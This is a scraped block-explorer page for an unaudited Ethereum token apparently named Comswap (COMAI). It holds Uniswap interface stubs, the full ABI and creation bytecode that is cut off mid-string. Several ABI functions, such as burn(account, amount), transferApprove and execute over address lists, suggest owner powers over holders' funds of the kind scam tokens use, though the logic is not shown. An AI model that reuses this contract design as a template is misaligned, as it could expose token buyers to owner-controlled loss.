}// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
interface IUniswapV2Pair {
function sync() external;
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"team_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"getLP","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a06040526a52b7d2dcc80cd2e400000060055562278f58600f5560016011556001601260006101000a81548160ff02191690831515021790555065013ca65120006013556001601560006101000a81548160ff0219169083151502179055506001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff0219169083151502179055506001602360006101000a81548160ff021916908315150217905550348015620000bd57600080fd5b50604051620069f7380380620069f78339818101604052810190620000e3919062000a6c565b6040518060400160405280600781526020017f436f6d73776170000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f434f4d414900000000000000000000000000000000000000000000000000000081525082806000620001636200050c60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050826006908162000254919062000d18565b50816007908162000266919062000d18565b506005546004819055505050506000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200029f8160016200051460201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506000806000806000806000664a9b63844880009050866018819055508560198190555084601a81905550601a5460195460185462000312919062000e2e565b6200031e919062000e2e565b60178190555083601c8190555082601d8190555081601e81905550601e54601d54601c546200034e919062000e2e565b6200035a919062000e2e565b601b819055506107d0600a8262000372919062000e69565b6200037e919062000ee3565b600c8190555069152d02c7e14af6800000600b81905550693f870857a3e0e3800000600a81905550620003b66200057f60201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004066200057f60201b60201c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004686200045a6200057f60201b60201c565b6001620005a860201b60201c565b6200047b306001620005a860201b60201c565b6200049061dead6001620005a860201b60201c565b620004b2620004a46200057f60201b60201c565b60016200051460201b60201c565b620004c53060016200051460201b60201c565b620004da61dead60016200051460201b60201c565b620004ec33826200066360201b60201c565b620004fc6200081360201b60201c565b50505050505050505050620010ea565b600033905090565b620005246200084760201b60201c565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005b86200084760201b60201c565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000657919062000f38565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006d5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006cc9062000fb6565b60405180910390fd5b620006e960008383620008d860201b60201c565b6200070581600854620008dd60201b620026b71790919060201c565b6008819055506200076481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620008dd60201b620026b71790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000807919062000fe9565b60405180910390a35050565b6000620008256200084760201b60201c565b6000601560006101000a81548160ff0219169083151502179055506001905090565b620008576200050c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200087d6200094060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620008d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008cd9062001056565b60405180910390fd5b565b505050565b6000808284620008ee919062000e2e565b90508381101562000936576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200092d90620010c8565b60405180910390fd5b8091505092915050565b600080620009536200095c60201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620009d95760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620009fd565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a348262000a07565b9050919050565b62000a468162000a27565b811462000a5257600080fd5b50565b60008151905062000a668162000a3b565b92915050565b60006020828403121562000a855762000a8462000a02565b5b600062000a958482850162000a55565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b2057607f821691505b60208210810362000b365762000b3562000ad8565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000ba07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b61565b62000bac868362000b61565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000bf962000bf362000bed8462000bc4565b62000bce565b62000bc4565b9050919050565b6000819050919050565b62000c158362000bd8565b62000c2d62000c248262000c00565b84845462000b6e565b825550505050565b600090565b62000c4462000c35565b62000c5181848462000c0a565b505050565b5b8181101562000c795762000c6d60008262000c3a565b60018101905062000c57565b5050565b601f82111562000cc85762000c928162000b3c565b62000c9d8462000b51565b8101602085101562000cad578190505b62000cc562000cbc8562000b51565b83018262000c56565b50505b505050565b600082821c905092915050565b600062000ced6000198460080262000ccd565b1980831691505092915050565b600062000d08838362000cda565b9150826002028217905092915050565b62000d238262000a9e565b67ffffffffffffffff81111562000d3f5762000d3e62000aa9565b5b62000d4b825462000b07565b62000d5882828562000c7d565b600060209050601f83116001811462000d90576000841562000d7b578287015190505b62000d87858262000cfa565b86555062000df7565b601f19841662000da08662000b3c565b60005b8281101562000dca5784890151825560018201915060208501945060208101905062000da3565b8683101562000dea578489015162000de6601f89168262000cda565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000e3b8262000bc4565b915062000e488362000bc4565b925082820190508082111562000e635762000e6262000dff565b5b92915050565b600062000e768262000bc4565b915062000e838362000bc4565b925082820262000e938162000bc4565b9150828204841483151762000ead5762000eac62000dff565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000ef08262000bc4565b915062000efd8362000bc4565b92508262000f105762000f0f62000eb4565b5b828204905092915050565b60008115159050919050565b62000f328162000f1b565b82525050565b600060208201905062000f4f600083018462000f27565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000f9e601f8362000f55565b915062000fab8262000f66565b602082019050919050565b6000602082019050818103600083015262000fd18162000f8f565b9050919050565b62000fe38162000bc4565b82525050565b600060208201905062001000600083018462000fd8565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200103e60208362000f55565b91506200104b8262001006565b602082019050919050565b6000602082019050818103600083015262001071816200102f565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620010b0601b8362000f55565b9150620010bd8262001078565b602082019050919050565b60006020820190508181036000830152620010e381620010a1565b9050919050565b6080516158d5620011226000396000818161111101528181612cc101528181613e6101528181613f420152613f6901526158d56000f3fe6080604052600436106103fe5760003560e01c80638ea5220f11610213578063bbc0c74211610123578063dd62ed3e116100ab578063f11a24d31161007a578063f11a24d314610f58578063f2fde38b14610f83578063f637434214610fac578063f8b45b0514610fd7578063fe72b27a1461100257610405565b8063dd62ed3e14610e88578063e02ae09f14610ec5578063e2f4560514610f02578063e884f26014610f2d57610405565b8063c2b7bbb6116100f2578063c2b7bbb614610da1578063c876d0b914610dca578063c8c8ebe414610df5578063d257b34f14610e20578063d85ba06314610e5d57610405565b8063bbc0c74214610cfb578063c024666814610d26578063c17b5b8c14610d4f578063c18bc19514610d7857610405565b8063a0d82dc5116101a6578063a9059cbb11610175578063a9059cbb14610c06578063a9ddeaa214610c43578063aacebbe314610c6c578063b62496f514610c95578063bbbb3ffc14610cd257610405565b8063a0d82dc514610b4a578063a165506f14610b75578063a457c2d714610b9e578063a4c82a0014610bdb57610405565b80639c3b4fdc116101e25780639c3b4fdc14610aa05780639dc29fac14610acb5780639ec22c0e14610af45780639fccce3214610b1f57610405565b80638ea5220f146109f65780639213691314610a21578063924de9b714610a4c57806395d89b4114610a7557610405565b80633582ad231161030e578063715018a6116102a157806375f0a8741161027057806375f0a874146109355780637bce5a04146109605780638095d5641461098b5780638a8c523c146109b45780638da5cb5b146109cb57610405565b8063715018a6146108a1578063730c1888146108b8578063751039fc146108e15780637571336a1461090c57610405565b80634fbee193116102dd5780634fbee193146107d15780636a486a8e1461080e5780636ddd17131461083957806370a082311461086457610405565b80633582ad231461071557806339509351146107405780633eb2b5ad1461077d57806349bd5a5e146107a657610405565b80631a8145bb1161039157806326ededb81161036057806326ededb81461064057806327c8f835146106695780632c3e486c146106945780632e82f1a0146106bf578063313ce567146106ea57610405565b80631a8145bb146105845780631f3fed8f146105af578063203e727e146105da57806323b872dd1461060357610405565b806318160ddd116103cd57806318160ddd146104da5780631816467f14610505578063184c16c51461052e578063199ffc721461055957610405565b806306fdde031461040a578063095ea7b31461043557806310d5de53146104725780631694505e146104af57610405565b3661040557005b600080fd5b34801561041657600080fd5b5061041f61103f565b60405161042c91906140e6565b60405180910390f35b34801561044157600080fd5b5061045c600480360381019061045791906141a6565b6110d1565b6040516104699190614201565b60405180910390f35b34801561047e57600080fd5b506104996004803603810190610494919061421c565b6110ef565b6040516104a69190614201565b60405180910390f35b3480156104bb57600080fd5b506104c461110f565b6040516104d191906142a8565b60405180910390f35b3480156104e657600080fd5b506104ef611133565b6040516104fc91906142d2565b60405180910390f35b34801561051157600080fd5b5061052c6004803603810190610527919061421c565b61113d565b005b34801561053a57600080fd5b50610543611205565b60405161055091906142d2565b60405180910390f35b34801561056557600080fd5b5061056e61120b565b60405161057b91906142d2565b60405180910390f35b34801561059057600080fd5b50610599611211565b6040516105a691906142d2565b60405180910390f35b3480156105bb57600080fd5b506105c4611217565b6040516105d191906142d2565b60405180910390f35b3480156105e657600080fd5b5061060160048036038101906105fc91906142ed565b61121d565b005b34801561060f57600080fd5b5061062a6004803603810190610625919061431a565b6112b0565b6040516106379190614201565b60405180910390f35b34801561064c57600080fd5b50610667600480360381019061066291906143d2565b611389565b005b34801561067557600080fd5b5061067e611466565b60405161068b9190614441565b60405180910390f35b3480156106a057600080fd5b506106a961146c565b6040516106b691906142d2565b60405180910390f35b3480156106cb57600080fd5b506106d4611472565b6040516106e19190614201565b60405180910390f35b3480156106f657600080fd5b506106ff611485565b60405161070c9190614478565b60405180910390f35b34801561072157600080fd5b5061072a61148e565b6040516107379190614201565b60405180910390f35b34801561074c57600080fd5b50610767600480360381019061076291906141a6565b6114a1565b6040516107749190614201565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f919061421c565b611554565b005b3480156107b257600080fd5b506107bb6115a0565b6040516107c89190614441565b60405180910390f35b3480156107dd57600080fd5b506107f860048036038101906107f3919061421c565b6115c6565b6040516108059190614201565b60405180910390f35b34801561081a57600080fd5b5061082361161c565b60405161083091906142d2565b60405180910390f35b34801561084557600080fd5b5061084e611622565b60405161085b9190614201565b60405180910390f35b34801561087057600080fd5b5061088b6004803603810190610886919061421c565b611635565b60405161089891906142d2565b60405180910390f35b3480156108ad57600080fd5b506108b661167e565b005b3480156108c457600080fd5b506108df60048036038101906108da91906144bf565b611744565b005b3480156108ed57600080fd5b506108f6611810565b6040516109039190614201565b60405180910390f35b34801561091857600080fd5b50610933600480360381019061092e9190614512565b61183c565b005b34801561094157600080fd5b5061094a61189f565b6040516109579190614441565b60405180910390f35b34801561096c57600080fd5b506109756118c5565b60405161098291906142d2565b60405180910390f35b34801561099757600080fd5b506109b260048036038101906109ad9190614552565b6118cb565b005b3480156109c057600080fd5b506109c9611956565b005b3480156109d757600080fd5b506109e061199d565b6040516109ed9190614441565b60405180910390f35b348015610a0257600080fd5b50610a0b6119c6565b604051610a189190614441565b60405180910390f35b348015610a2d57600080fd5b50610a366119ec565b604051610a4391906142d2565b60405180910390f35b348015610a5857600080fd5b50610a736004803603810190610a6e91906145a5565b6119f2565b005b348015610a8157600080fd5b50610a8a611a17565b604051610a9791906140e6565b60405180910390f35b348015610aac57600080fd5b50610ab5611aa9565b604051610ac291906142d2565b60405180910390f35b348015610ad757600080fd5b50610af26004803603810190610aed91906141a6565b611aaf565b005b348015610b0057600080fd5b50610b09611ac5565b604051610b1691906142d2565b60405180910390f35b348015610b2b57600080fd5b50610b34611acb565b604051610b4191906142d2565b60405180910390f35b348015610b5657600080fd5b50610b5f611ad1565b604051610b6c91906142d2565b60405180910390f35b348015610b8157600080fd5b50610b9c6004803603810190610b9791906145d2565b611ad7565b005b348015610baa57600080fd5b50610bc56004803603810190610bc091906141a6565b611aed565b604051610bd29190614201565b60405180910390f35b348015610be757600080fd5b50610bf0611bba565b604051610bfd91906142d2565b60405180910390f35b348015610c1257600080fd5b50610c2d6004803603810190610c2891906141a6565b611bc0565b604051610c3a9190614201565b60405180910390f35b348015610c4f57600080fd5b50610c6a6004803603810190610c659190614612565b611bde565b005b348015610c7857600080fd5b50610c936004803603810190610c8e919061421c565b611c8b565b005b348015610ca157600080fd5b50610cbc6004803603810190610cb7919061421c565b611d53565b604051610cc99190614441565b60405180910390f35b348015610cde57600080fd5b50610cf96004803603810190610cf491906145d2565b611d86565b005b348015610d0757600080fd5b50610d10611e6a565b604051610d1d9190614201565b60405180910390f35b348015610d3257600080fd5b50610d4d6004803603810190610d489190614512565b611e7d565b005b348015610d5b57600080fd5b50610d766004803603810190610d719190614552565b611f2e565b005b348015610d8457600080fd5b50610d9f6004803603810190610d9a91906142ed565b611fb9565b005b348015610dad57600080fd5b50610dc86004803603810190610dc3919061421c565b61204c565b005b348015610dd657600080fd5b50610ddf6120c5565b604051610dec9190614201565b60405180910390f35b348015610e0157600080fd5b50610e0a6120d8565b604051610e1791906142d2565b60405180910390f35b348015610e2c57600080fd5b50610e476004803603810190610e4291906142ed565b6120de565b604051610e549190614201565b60405180910390f35b348015610e6957600080fd5b50610e726121bf565b604051610e7f91906142d2565b60405180910390f35b348015610e9457600080fd5b50610eaf6004803603810190610eaa91906145d2565b6121c5565b604051610ebc91906142d2565b60405180910390f35b348015610ed157600080fd5b50610eec6004803603810190610ee7919061421c565b61224c565b604051610ef99190614201565b60405180910390f35b348015610f0e57600080fd5b50610f176122a2565b604051610f2491906142d2565b60405180910390f35b348015610f3957600080fd5b50610f426122a8565b604051610f4f9190614201565b60405180910390f35b348015610f6457600080fd5b50610f6d6122d4565b604051610f7a91906142d2565b60405180910390f35b348015610f8f57600080fd5b50610faa6004803603810190610fa5919061421c565b6122da565b005b348015610fb857600080fd5b50610fc161240e565b604051610fce91906142d2565b60405180910390f35b348015610fe357600080fd5b50610fec612414565b604051610ff991906142d2565b60405180910390f35b34801561100e57600080fd5b50611029600480360381019061102491906142ed565b61241a565b6040516110369190614201565b60405180910390f35b60606006805461104e906146a1565b80601f016020809104026020016040519081016040528092919081815260200182805461107a906146a1565b80156110c75780601f1061109c576101008083540402835291602001916110c7565b820191906000526020600020905b8154815290600101906020018083116110aa57829003601f168201915b5050505050905090565b60006110e56110de612715565b848461271d565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600854905090565b6111456128e6565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba37